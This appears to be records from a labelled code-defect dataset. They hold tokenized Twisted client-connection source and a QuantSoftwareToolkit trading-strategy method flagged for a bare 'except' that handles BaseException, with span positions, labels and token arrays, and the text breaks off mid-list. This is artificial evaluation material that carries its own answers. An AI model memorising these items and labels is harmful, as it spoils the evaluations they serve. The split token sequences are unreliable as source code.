"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Base", "Base", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "finish", "Init_", "(_", "self_", ",_", "whe", "n", "Done_", ",_", "sk", "t_", ",_", "error_", ",_", "reactor_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Call", "ed", " ", "by", " ", "subclasses", " ", "to", " ", "continue", " ", "to", " ", "the", " ", "stage", " ", "of", " ", "initialization", " ", "where", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "socket", " ", "connect", " ", "atte", "mpt", " ", "is", " ", "made", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "whe", "n", "Don", "e", ":", " ", "A", " ", "0", "-", "argu", "ment", " ", "calla", "ble", " ", "to", " ", "invoke", " ", "onc", "e", " ", "the", " ", "connecti", "on", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "set", " ", "up", ".", " ", " ", "Thi", "s", " ", "is", " ", "C", "{", "Non", "e", "}", " ", "if", " ", "the", " ", "connecti", "on", " ", "coul", "d", " ", "not", " ", "be", " ", "prepared", "\\", "10", ";", " ", " ", " ", " ", "due", " ", "to", " ", "a", " ", "previ", "ous", " ", "error", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "sk", "t", ":", " ", "The", " ", "socket", " ", "object", " ", "to", " ", "use", " ", "to", " ", "perform", " ", "the", " ", "connecti", "on", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "sk", "t", ":", " ", "C", "{", "socket", ".\\u", "socket", "object", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "error", ":", " ", "The", " ", "error", " ", "to", " ", "fail", " ", "the", " ", "connecti", "on", " ", "with", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "react", "or", ":", " ", "The", " ", "react", "or", " ", "to", " ", "use", " ", "for", " ", "this", " ", "client", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "react", "or", ":", " ", "L", "{", "twist", "ed", ".", "interne", "t", ".", "interface", "s", ".", "IR", "eac", "tor", "Time", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "whe", "n", "Done_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "common", "Connection_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "sk", "t_", ",_", "None_", ",_", "reactor_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reactor_", "._", "call", "Later_", "(_", "0_", ",_", "whe", "n", "Done_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reactor_", "._", "call", "Later_", "(_", "0_", ",_", "self_", "._", "fail", "If", "Not", "Connected_", ",_", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Base", "Base", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "resolve", "Address_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Resolv", "e", " ", "the", " ", "name", " ", "tha", "t", " ", "was", " ", "pass", "ed", " ", "to", " ", "this", " ", "L", "{\\u", "Base", "Base", "Client", "},", " ", "if", "\\", "10", ";", " ", " ", " ", " ", "necessar", "y", ",", " ", "and", " ", "then", " ", "move", " ", "on", " ", "to", " ", "atte", "mpt", "ing", " ", "the", " ", "connecti", "on", " ", "onc", "e", " ", "an", "\\", "10", ";", " ", " ", " ", " ", "address", " ", "has", " ", "bee", "n", " ", "dete", "rmin", "ed", ".", " ", " ", "(", "The", " ", "connecti", "on", " ", "will", " ", "be", " ", "atte", "mpte", "d", "\\", "10", ";", " ", " ", " ", " ", "immediate", "ly", " ", "within", " ", "this", " ", "function", " ", "if", " ", "eit", "her", " ", "name", " ", "resolu", "tion", " ", "can", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "synchron", "ous", " ", "or", " ", "the", " ", "address", " ", "was", " ", "an", " ", "IP", " ", "address", " ", "literal", ".)", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "note", ":", " ", "You", " ", "don", "'", "t", " ", "want", " ", "to", " ", "call", " ", "this", " ", "method", " ", "from", " ", "outsi", "de", ",", " ", "as", " ", "it", " ", "won", "'", "t", " ", "do", "\\", "10", ";", " ", " ", " ", " ", "anyt", "hing", " ", "usef", "ul", ";", " ", "it", "'", "s", " ", "just", " ", "part", " ", "of", " ", "the", " ", "connecti", "on", " ", "bootstrapp", "ing", "\\", "10", ";", " ", " ", " ", " ", "process", ".", " ", " ", "Al", "so", ",", " ", "alth", "ou", "gh", " ", "this", " ", "method", " ", "is", " ", "on", " ", "L", "{\\u", "Base", "Base", "Client", "}", " ", "for", "\\", "10", ";", " ", " ", " ", " ", "historical", " ", "reasons", ",", " ", "it", "'", "s", " ", "not", " ", "used", " ", "any", "where", " ", "except", " ", "for", " ", "L", "{", "Client", "}", "\\", "10", ";", " ", " ", " ", " ", "its", "elf", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "C", "{", "Non", "e", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "require", "s", "Resolution_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "=_", "self_", "._", "reactor_", "._", "resolve_", "(_", "self_", "._", "addr_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Callback_", "(_", "lambda_", "n_", ":_", "(_", "n_", ",_", ")_", "+_", "self_", "._", "addr_", "[_", "1_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Callbacks_", "(_", "self_", "._", "\\u", "set", "Real", "Address_", ",_", "self_", "._", "fail", "If", "Not", "Connected_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "set", "Real", "Address_", "(_", "self_", "._", "addr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Base", "Base", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "set", "Real", "Address_", "(_", "self_", ",_", "address_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Set", " ", "the", " ", "resolve", "d", " ", "address", " ", "of", " ", "this", " ", "L", "{\\u", "Base", "Base", "Client", "}", " ", "and", " ", "initiate", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "connecti", "on", " ", "atte", "mpt", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "address", ":", " ", "Depend", "ing", " ", "on", " ", "whe", "ther", " ", "this", " ", "is", " ", "an", " ", "IP", "v", "4", " ", "or", " ", "IP", "v6", " ", "connecti", "on", "\\", "10", ";", " ", " ", " ", " ", "atte", "mpt", ",", " ", "a", " ", "2", "-", "tuple", " ", "of", " ", "C", "{(", "host", ",", " ", "port", ")}", " ", "or", " ", "a", " ", "4", "-", "tuple", " ", "of", " ", "C", "{(", "host", ",", "\\", "10", ";", " ", " ", " ", " ", "port", ",", " ", "flow", ",", " ", "scope", ")}", ".", " ", " ", "At", " ", "this", " ", "point", " ", "it", " ", "is", " ", "a", " ", "full", "y", " ", "resolve", "d", " ", "address", ",", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "the", " ", "'", "host", "'", " ", "porti", "on", " ", "will", " ", "alw", "ay", "s", " ", "be", " ", "an", " ", "IP", " ", "address", ",", " ", "not", " ", "a", " ", "DNS", "\\", "10", ";", " ", " ", " ", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "real", "Address_", "=_", "address_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "do", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Base", "Base", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fail", "If", "Not", "Connected_", "(_", "self_", ",_", "err_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Gene", "ric", " ", "method", " ", "call", "ed", " ", "whe", "n", " ", "the", " ", "atte", "mps", " ", "to", " ", "connect", " ", "fail", "ed", ".", " ", "It", " ", "basic", "ally", "\\", "10", ";", " ", " ", " ", " ", "clean", "s", " ", "every", "thing", " ", "it", " ", "can", ":", " ", "call", " ", "connecti", "on", "Fail", "ed", ",", " ", "stop", " ", "read", " ", "and", " ", "write", ",", "\\", "10", ";", " ", " ", " ", " ", "delete", " ", "socket", " ", "relate", "d", " ", "member", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "connected_", "or_", "self_", "._", "disconnected", "_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "not_", "hasattr_", "(_", "self_", ",_", "\"", "connect", "or", "\"_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "stop", "Reading", "And", "Writ", "ing_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "close", "Socket_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "collect", "Sock", "et", "Details_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "connector_", "._", "connecti", "on", "Failed_", "(_", "failure_", "._", "Failure_", "(_", "err_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "self_", "._", "connector_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Base", "Base", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop", "Connect", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "a", " ", "connecti", "on", " ", "atte", "mpt", " ", "is", " ", "still", " ", "outstanding", " ", "(", "i", ".", "e", ".", " ", " ", "no", " ", "connecti", "on", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "ye", "t", " ", "establish", "ed", "),", " ", "immediate", "ly", " ", "stop", " ", "atte", "mpt", "ing", " ", "to", " ", "connect", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "If", "Not", "Connected_", "(_", "error_", "._", "User", "Error_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Base", "Base", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "connecti", "on", "Lost", "_", "(_", "self_", ",_", "reason_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Invok", "ed", " ", "by", " ", "lower", "-", "level", " ", "logic", " ", "whe", "n", " ", "it", "'", "s", " ", "time", " ", "to", " ", "clean", " ", "the", " ", "socket", " ", "up", ".", "\\", "10", ";", " ", " ", " ", " ", "Depend", "ing", " ", "on", " ", "the", " ", "state", " ", "of", " ", "the", " ", "connecti", "on", ",", " ", "eit", "her", " ", "inform", " ", "the", " ", "attache", "d", "\\", "10", ";", " ", " ", " ", " ", "L", "{", "Connect", "or", "}", " ", "tha", "t", " ", "the", " ", "connecti", "on", " ", "atte", "mpt", " ", "has", " ", "fail", "ed", ",", " ", "or", " ", "inform", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "connect", "ed", " ", "L", "{", "IP", "roto", "col", "}", " ", "tha", "t", " ", "the", " ", "establish", "ed", " ", "connecti", "on", " ", "has", " ", "bee", "n", " ", "lost", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "reason", ":", " ", "the", " ", "reason", " ", "tha", "t", " ", "the", " ", "connecti", "on", " ", "was", " ", "terminate", "d", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "reason", ":", " ", "L", "{", "Fail", "ure", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "connected_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail", "If", "Not", "Connected_", "(_", "error_", "._", "Connect", "Error_", "(_", "string_", "=_", "reason_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "common", "Connection_", "._", "connecti", "on", "Lost", "_", "(_", "self_", ",_", "reason_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "connector_", "._", "connecti", "on", "Lost", "_", "(_", "reason_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Base", "Client_", "(_", "\\u", "Base", "Base", "Client_", ",_", "\\u", "TLS", "Client", "Mixin_", ",_", "Connection_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "base", " ", "class", " ", "for", " ", "client", " ", "TC", "P", " ", "(", "and", " ", "simi", "lia", "r", ")", " ", "socket", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "real", "Address", ":", " ", "The", " ", "address", " ", "object", " ", "tha", "t", " ", "will", " ", "be", " ", "used", " ", "for", " ", "socket", ".", "connect", ";", "\\", "10", ";", " ", " ", " ", " ", "this", " ", "address", " ", "is", " ", "an", " ", "address", " ", "tuple", " ", "(", "the", " ", "number", " ", "of", " ", "element", "s", " ", "dependent", " ", "upo", "n", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "address", " ", "famil", "y", ")", " ", "whi", "ch", " ", "doe", "s", " ", "not", " ", "contain", " ", "any", " ", "names", " ", "whi", "ch", " ", "need", " ", "to", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "resolve", "d", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "real", "Address", ":", " ", "C", "{", "tuple", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "\\u", "base", ":", " ", "L", "{", "Connect", "ion", "},", " ", "whi", "ch", " ", "is", " ", "the", " ", "base", " ", "class", " ", "of", " ", "this", " ", "class", " ", "whi", "ch", " ", "has", "\\", "10", ";", " ", " ", " ", " ", "all", " ", "of", " ", "the", " ", "usef", "ul", " ", "file", " ", "descrip", "tor", " ", "method", "s", ".", " ", " ", "Thi", "s", " ", "is", " ", "used", " ", "by", "\\", "10", ";", " ", " ", " ", " ", "L", "{\\u", "TLS", "Server", "Mix", "in", "}", " ", "to", " ", "call", " ", "the", " ", "right", " ", "method", "s", " ", "to", " ", "direct", "ly", " ", "manipulate", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "transport", ",", " ", "as", " ", "is", " ", "necessar", "y", " ", "for", " ", "writ", "ing", " ", "TLS", "-", "encrypt", "ed", " ", "bytes", " ", "(", "where", "as", "\\", "10", ";", " ", " ", " ", " ", "tho", "se", " ", "method", "s", " ", "on", " ", "L", "{", "Server", "}", " ", "will", " ", "go", " ", "through", " ", "anot", "her", " ", "layer", " ", "of", " ", "TLS", " ", "if", " ", "it", "\\", "10", ";", " ", " ", " ", " ", "has", " ", "bee", "n", " ", "enable", "d", ").", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "base_", "=_", "Connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "common", "Connection_", "=_", "Connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
QuantSoftware/QuantSoftwareToolkit/Legacy/Legacy/qstkoptimizers/Optimizer.py
[ { "content": " def strategyTwo (self, portfolio,positions,timestamp,stockInfo, dataAccess):\n #Here we track all the stocks that continuously loose value- then buy them when they stop loosing value. Then hold them until they keep\n #gaining value. Then sell them\n \n \n output=[]\n \n #adjOpenData= dataAccess.getMatrix (self.listOfStocks, \"adj_open\", timestamp- 2*self.DAY, timestamp- self.DAY)\n \n adjOpenData= dataAccess.getMatrixFromTS (self.listOfStocks, \"adj_open\", timestamp, -1)\n \n# print \"list of loosing stocks: \"+ str (self.listOfLoosingStocks)\n# print \"current positions: \" + str(positions.getPositions())\n# print \"no of days: \" + str (self.noOfDaysStockHasBeenLoosingValue)\n \n if (adjOpenData is not None):\n ctr=0\n while (ctr< len(self.listOfStocks)):\n if (adjOpenData[0][ctr] > adjOpenData[1][ctr]):\n \n try:\n index2= self.listOfLoosingStocks.index(self.listOfStocks[ctr])\n self.noOfDaysStockHasBeenLoosingValue[index2]+=1\n except:\n #stock not found in the list\n self.listOfLoosingStocks.append(self.listOfStocks[ctr])\n self.noOfDaysStockHasBeenLoosingValue.append(1)\n \n currentPositions= positions.getPositions() \n for pos in currentPositions:\n try:\n index2= self.listOfLoosingStocks.index(pos['symbol']) #if it isn't in this list then we don't have to sell it\n if (self.noOfDaysStockHasBeenLoosingValue[index2] > 2):\n # we have this stock and it lost value twice\n # Ergo- we sell\n #sell\n #if ((pos['purchase_price'] + (pos['shares']*self.ComPerShare))< temp): #rig it to make money\n print str(pos['symbol'])+\" finally lost value for \"+ str(self.noOfDaysStockHasBeenLoosingValue[index2])+\" days. Selling it\"\n order= stockInfo.OutputOrder()\n order.symbol= pos['symbol']\n order.volume= pos['shares']\n order.task= 'sell'\n order.orderType = 'moc'\n order.closeType = 'fifo'\n order.duration = self.DAY\n\n newOrder = order.getOutput()\n if newOrder != None:\n output.append(newOrder)\n else:\n print \"ERROR! ERROR! ERROR!\"\n except ValueError:\n pass #index not found \n #for pos in currentPositions\n \n else:\n #this stock did not loose value\n \n #Check if had been loosing value\n #print str(self.listOfStocks[ctr])+ \" gained value\"\n \n try:\n index1= self.listOfLoosingStocks.index(self.listOfStocks[ctr])\n if (self.noOfDaysStockHasBeenLoosingValue[index1]>3):\n \n #print \"This stock has been loosing value for atleast 3 days\"\n \n order= stockInfo.OutputOrder()\n order.symbol= self.listOfStocks[ctr]\n order.volume= min(10* self.noOfDaysStockHasBeenLoosingValue[index1], 100)\n order.task= 'buy'\n order.orderType = 'moc'\n order.closeType = 'fifo'\n order.duration = self.DAY\n newOrder = order.getOutput()\n if newOrder != None:\n output.append(newOrder)\n else:\n print \"ERROR! ERROR! ERROR!\"\n \n #The stock was loosing value for <=3 days but now gained value- so off with the head\n self.listOfLoosingStocks.pop(index1)\n self.noOfDaysStockHasBeenLoosingValue.pop(index1) \n\n except ValueError:\n pass\n \n \n# try:\n# index1= self.listOfLoosingStocks.index(self.listOfStocks[ctr])\n# \n# print str(self.listOfStocks[ctr])+\" lost value for \"+ str(self.noOfDaysStockHasBeenLoosingValue[index]+ \"..and then gained..\")\n# #Stock found\n# #if it had lost value for more than 2 days then buy!\n# if (self.noOfDaysStockHasBeenLoosingValue[index1]>3):\n# #buy\n# order= stockInfo.OutputOrder()\n# order.symbol= self.listOfStocks[ctr]\n# order.volume= max(10* self.noOfDaysStockHasBeenLoosingValue[index1], 100)\n# order.task= 'buy'\n# order.orderType = 'moc'\n# order.closeType = 'fifo'\n# order.duration = self.DAY\n# newOrder = order.getOutput()\n# if newOrder != None:\n# output.append(newOrder)\n# else:\n# print \"ERROR! ERROR! ERROR!\"\n# else:\n# #it was loosing value- but for less than 2 days. So we just remove this entry...\n# self.listOfLoosingStocks.pop(index1)\n# self.noOfDaysStockHasBeenLoosingValue.pop(index1)\n# except:\n# #Not found- this stock had not lost value\n# print \"could not find index! Possibly a bug\"\n ctr+=1\n #while loop ends..hopefully!\n \n \n \n \n \n return output\n #strategyTwo ends", "metadata": "root.Optimizer.strategyTwo", "header": "['class', 'Optimizer', '(', 'object', ')', ':', '___EOS___']", "index": 104 } ]
[ { "span": "except:", "start_line": 127, "start_column": 20, "end_line": 127, "end_column": 27 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Optimizer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "strat", "eg", "y", "Two_", "(_", "self_", ",_", "portfolio_", ",_", "positions_", ",_", "timestamp_", ",_", "stock", "Info_", ",_", "data", "Access_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Her", "e", " ", "we", " ", "track", " ", "all", " ", "the", " ", "stocks", " ", "tha", "t", " ", "continuous", "ly", " ", "loose", " ", "value", "-", " ", "then", " ", "buy", " ", "them", " ", "whe", "n", " ", "the", "y", " ", "stop", " ", "loo", "sing", " ", "value", ".", " ", "The", "n", " ", "hold", " ", "them", " ", "unti", "l", " ", "the", "y", " ", "keep_", "\\u\\u\\uNL\\u\\u\\u_", "#", "gain", "ing", " ", "value", ".", " ", "The", "n", " ", "sell", " ", "them", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "output_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "adj", "Open", "Data", "=", " ", "data", "Access", ".", "get", "Matrix", " ", "(", "self", ".", "list", "Of", "Stock", "s", ",", " ", "\"", "adj", "\\u", "open", "\",", " ", "timestamp", "-", " ", "2", "*", "self", ".", "DAY", ",", " ", "timestamp", "-", " ", "self", ".", "DAY", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "adj", "Open", "Data_", "=_", "data", "Access_", "._", "get", "Matrix", "Fro", "m", "TS_", "(_", "self_", "._", "list", "Of", "Stock", "s_", ",_", "\"", "adj", "\\u", "open", "\"_", ",_", "timestamp_", ",_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "\"", "list", " ", "of", " ", "loo", "sing", " ", "stocks", ":", " ", "\"+", " ", "str", " ", "(", "self", ".", "list", "Of", "Lo", "osin", "g", "Stock", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "\"", "current", " ", "position", "s", ":", " ", "\"", " ", "+", " ", "str", "(", "position", "s", ".", "get", "Position", "s", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "\"", "no", " ", "of", " ", "day", "s", ":", " ", "\"", " ", "+", " ", "str", " ", "(", "self", ".", "no", "Of", "Day", "s", "Stock", "Has", "Bee", "n", "Lo", "osin", "g", "Value", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "adj", "Open", "Data_", "is_", "not_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctr_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "(_", "ctr_", "<_", "len_", "(_", "self_", "._", "list", "Of", "Stock", "s_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "adj", "Open", "Data_", "[_", "0_", "]_", "[_", "ctr_", "]_", ">_", "adj", "Open", "Data_", "[_", "1_", "]_", "[_", "ctr_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "index2_", "=_", "self_", "._", "list", "Of", "Lo", "osin", "g", "Stock", "s_", "._", "index_", "(_", "self_", "._", "list", "Of", "Stock", "s_", "[_", 